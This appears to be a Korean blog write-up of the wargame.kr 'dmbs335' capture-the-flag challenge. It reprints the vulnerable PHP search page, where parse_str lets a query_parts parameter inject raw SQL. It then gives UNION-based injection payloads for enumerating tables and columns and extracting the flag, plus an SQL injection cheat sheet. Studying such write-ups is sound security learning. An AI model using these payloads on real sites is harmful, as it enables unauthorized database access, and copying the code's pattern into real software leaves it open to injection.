[wargame.kr] dmbs335
PHP 소스 코드를 분석하면 SQL Injection 취약점이 발생하는 것을 확인할 수 있습니다. 사용자로부터 입력 받은 변수들이 SQL 쿼리의 일부로 사용되기 때문에 발생하는 취약점입니다.
1. 파라미터(Parameter) 및 매개변수(Argument)
문제에서 제공된 접속 정보로 접속하면, 다음과 같은 화면이 표시됩니다.
서치 버튼을 클릭하면, 파라미터(Parameter) 및 매개변수(Argument)를 분석할 수 있습니다.
파라미터
- search_cols, keyword, operator와 같은 쿼리 문자열의 일부입니다.
- URL에서 ? 이후의 부분인 search_cols=subject&keyword=&operator=or은 쿼리 문자열로, 각각의 파라미터와 그 값으로 구성되어 있습니다.
매개변수
- 각 파라미터의 값들이 매개변수로 사용됩니다.
- 예를 들어, search_cols=subject에서 search_cols는 파라미터이고, subject는 해당 파라미터의 값인 매개변수입니다.
특징
- URL의 파라미터들은 서버 측의 PHP 스크립트에 전달되어 그 값들을 활용합니다.
- 이 URL에서는 검색 조건에 대한 파라미터들이 전달됩니다. search_cols는 검색 대상 열(column)을 지정하고, keyword는 검색어를 나타냅니다.
- operator는 조건들 간의 논리 연산자를 지정하는 것으로 보입니다. 여기서는 or로 설정되어 있습니다.
이 URL을 통해 서버 측의 PHP 스크립트가 실행되면, 각 파라미터의 값들이 스크립트에 전달되어 적절한 작업을 수행하게 됩니다.
이러한 방식으로 URL을 통해 파라미터와 매개변수가 서로 주고받아 서버와 클라이언트 간의 통신이 이루어집니다.
2. 소스코드 분석 (view-source)
문제를 다운할 필요도 없이, view-source 를 누르면 소스코드가 나옵니다.
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("./inc.php"); // 데이터베이스 연결
// 사용자로부터 입력 받은 연산자 값을 처리하는 함수
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
// 쿼리 문자열에 세션과 관련된 패턴이 존재하는지 확인하여, 발견되면 실행을 중단함
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('허용되지 않습니다');
}
// URL에서 쿼리 문자열을 파싱하여 각 변수에 할당
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
// SQL Injection 방어를 위해 사용자 입력에 addslashes() 함수를 적용하여 이스케이프 처리
$keyword = addslashes($keyword);
$where_clause = '';
// 검색 대상 열이 지정되지 않은 경우, 기본적으로 subject와 content 열을 검색 대상으로 설정
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
// 검색 대상 열을 '|'를 기준으로 분할하여 배열로 만듦
$cols = explode('|',$search_cols);
// 각 검색 대상 열에 대해 반복하여 쿼리 조건 생성
foreach($cols as $col) {
// 검색 대상 열이 subject, content, writer 중 하나인지 확인하여 올바른 값인 경우에만 처리
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
// 사용자 입력을 포함한 검색 조건 생성
$query_parts = $col . " like '%" . $keyword . "%'";
}
// 쿼리 조건이 존재하는 경우, WHERE 절에 추가
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
// 만약 WHERE 절이 비어있는 경우, 기본적으로 content 열을 검색 대상으로 설정
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
// WHERE 절 마지막에 연산자가 추가된 경우, 제거하여 올바른 쿼리 형태 유지
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
<style>
td:first-child, td:last-child {text-align:center;}
td {padding:3px; border:1px solid #ddd;}
thead td {font-weight:bold; text-align:center;}
tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
<thead>
<tr><td>번호</td><td>제목</td><td>내용</td><td>작성자</td></tr>
</thead>
<tbody>
<?php
// 취약점: $where_clause 변수에 사용자 입력이 그대로 반영되어 있으며, 이는 SQL Injection 공격에 취약함
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
</tbody>
<tfoot>
<tr><td colspan=4>
<form method="">
<select name="search_cols">
<option value="subject" selected>제목</option>
<option value="content">내용</option>
<option value="content|content">제목, 내용</option>
<option value="writer">작성자</option>
</select>
<input type="text" name="keyword" />
<input type="radio" name="operator" value="or" checked /> 또는
<input type="radio" name="operator" value="and" /> 그리고
<input type="submit" value="검색" />
</form>
</td></tr>
</tfoot>
</table>
<br />
<a href="./?view-source">소스코드 보기</a><br />
소스 코드를 분석해보겠습니다.
- 조건문 확인:
- if (isset($_GET['view-source'])) { ... }: URL에 view-source라는 파라미터가 있으면 현재 파일의 소스코드를 출력하고 실행을 종료합니다.
- 파일 포함:
- include("./inc.php");: 데이터베이스 연결을 위한 파일을 포함시킵니다.
- 함수 정의:
- getOperator(&$operator): 연산자를 처리하는 함수입니다. 주어진 연산자에 따라 값을 변경하여 반환합니다.
- 보안 검사:
- preg_match('/session/isUD',$_SERVER['QUERY_STRING']): 쿼리 문자열에서 session이라는 단어를 찾아서 매칭합니다. 발견되면 실행을 중단하고 'not allowed'라는 메시지를 출력합니다.
- 쿼리 문자열 파싱:
- parse_str($_SERVER['QUERY_STRING']);: URL에서 받은 쿼리 문자열을 파싱하여 각각의 변수에 할당합니다.
- 검색 조건 설정:
- if(!isset($search_cols)) { ... }: 만약 $search_cols 변수가 설정되어 있지 않다면, 기본적으로 'subject|content'를 검색 대상으로 설정합니다.
- 쿼리 조건 생성:
- $cols = explode('|',$search_cols);: '|'를 기준으로 문자열을 분할하여 검색 대상 열들을 배열로 만듭니다.
- foreach($cols as $col) { ... }: 각 검색 대상 열에 대해 반복하면서 검색 조건을 생성합니다. 이때, 정규표현식을 사용하여 유효한 열인지 확인합니다.
- 생성된 검색 조건은 $where_clause에 추가됩니다.
- 기본 검색 조건 설정:
- $where_clause가 비어있으면, 기본적으로 content 열을 대상으로 한 검색 조건을 설정합니다.
- 최종 쿼리 조건 설정:
- $operator를 사용하여 쿼리 조건을 완성합니다. 이때, 쿼리 조건의 끝에 있는 연산자를 제거합니다.
- 데이터 조회:
- 완성된 쿼리 조건을 사용하여 데이터베이스에서 데이터를 조회합니다.
- 조회된 결과를 HTML 테이블 형식으로 출력합니다.
이 코드는 사용자가 제공한 검색어 및 연산자가 SQL 쿼리에 그대로 반영되기 때문에, 악의적인 사용자가 조작된 입력을 통해 데이터베이스에 액세스하고 조작할 수 있습니다.
특히, $where_clause 변수에 사용자 입력이 직접 삽입되므로, 이를 이용하여 SQL Injection을 실행할 수 있습니다.
3. 페이로드
다음과 같은 페이로드를 사용하여 SQL Injection을 실행할 수 있습니다:
컬럼 수 확인
공격자는 쿼리 문자열에 union select 구문을 삽입하여 기존 쿼리에 새로운 SELECT 문을 추가합니다. 이를 통해 공격자는 컬럼 수를 확인할 수 있습니다. 예를 들어, search_cols에는 임의의 값인 a를, query_parts에는 union select 1,2,3,4 #를 입력합니다. 이렇게 하면 데이터베이스가 반환하는 결과의 컬럼 수를 확인할 수 있습니다.
search_cols=a&query_parts=0 union select 1,2,3,4 #
테이블 이름 확인
컬럼 수가 확인된 후, 공격자는 테이블 이름을 확인하기 위해 information_schema.tables 테이블을 이용합니다. 이를 위해 table_name 필드를 SELECT하고, union select 구문을 사용하여 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,table_name,4 from information_schema.tables #를 입력하여 테이블 이름을 확인할 수 있습니다.
search_cols=a&query_parts=0 union select 1,2,table_name,4 from information_schema.tables #
컬럼 이름 확인
다음으로, 공격자는 테이블의 컬럼 이름을 확인하기 위해 information_schema.columns 테이블을 사용합니다. 이를 위해 column_name 필드를 SELECT하여 컬럼 이름을 가져옵니다. 공격자는 마찬가지로 union select 구문을 사용하여 기존 쿼리에 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,column_name,4 from information_schema.columns #를 입력하여 테이블의 컬럼 이름을 확인할 수 있습니다.
search_cols=a&query_parts=0 union select 1,2,column_name,4 from information_schema.columns #
플래그 값 획득:
마지막으로, 공격자가 플래그 값을 얻기 위해 알고 있는 테이블과 컬럼 이름을 사용하여 플래그 값을 확인할 수 있습니다. 공격자는 해당 테이블의 플래그 값을 얻기 위해 union select 구문을 사용하여 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,f1ag,4 from Th1s_1s_Flag_tbl #를 입력하여 플래그 값을 확인할 수 있습니다.
search_cols=a&query_parts=0 union select 1,2,f1ag,4 from Th1s_1s_Flag_tbl #
4. SQL인젝션 치트시트
문자열 연결
- Oracle: 'foo'||'bar'
- Microsoft: 'foo'+'bar'
- PostgreSQL: 'foo'||'bar'
- MySQL: 'foo' 'bar' (두 문자열 사이의 공백 주의) 또는 CONCAT('foo','bar')
부분 문자열
- Oracle: SUBSTR('foobar', 4, 2)
- Microsoft: SUBSTRING('foobar', 4, 2)
- PostgreSQL: SUBSTRING('foobar', 4, 2)
- MySQL: SUBSTRING('foobar', 4, 2)
주석
- Oracle: --comment
- Microsoft: --comment 또는 /*comment*/
- PostgreSQL: --comment 또는 /*comment*/
- MySQL: #comment, -- comment, 또는 /*comment*/
데이터베이스 버전
- Oracle: SELECT banner FROM v$version 또는 SELECT version FROM v$instance
- Microsoft: SELECT @@version
- PostgreSQL: SELECT version()
- MySQL: SELECT @@version
데이터베이스 내용
- Oracle: SELECT * FROM all_tables, SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
- Microsoft: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- PostgreSQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- MySQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
(출처 : portswigger.net)
문의는 댓글 남겨주세요
'CTF 풀이' 카테고리의 다른 글
[webhacking.kr] 🍊 orange 문제 풀이 (0) | 2024.12.05 |
---|---|
[드림핵] STB-lsExecutor 포너블풀이 (53) | 2024.02.28 |
[드림핵] chinese what? - RSA CRT 암호학 문제 풀이 (1) | 2024.02.16 |
[드림핵] r-xor-t 풀이 (2) | 2024.02.13 |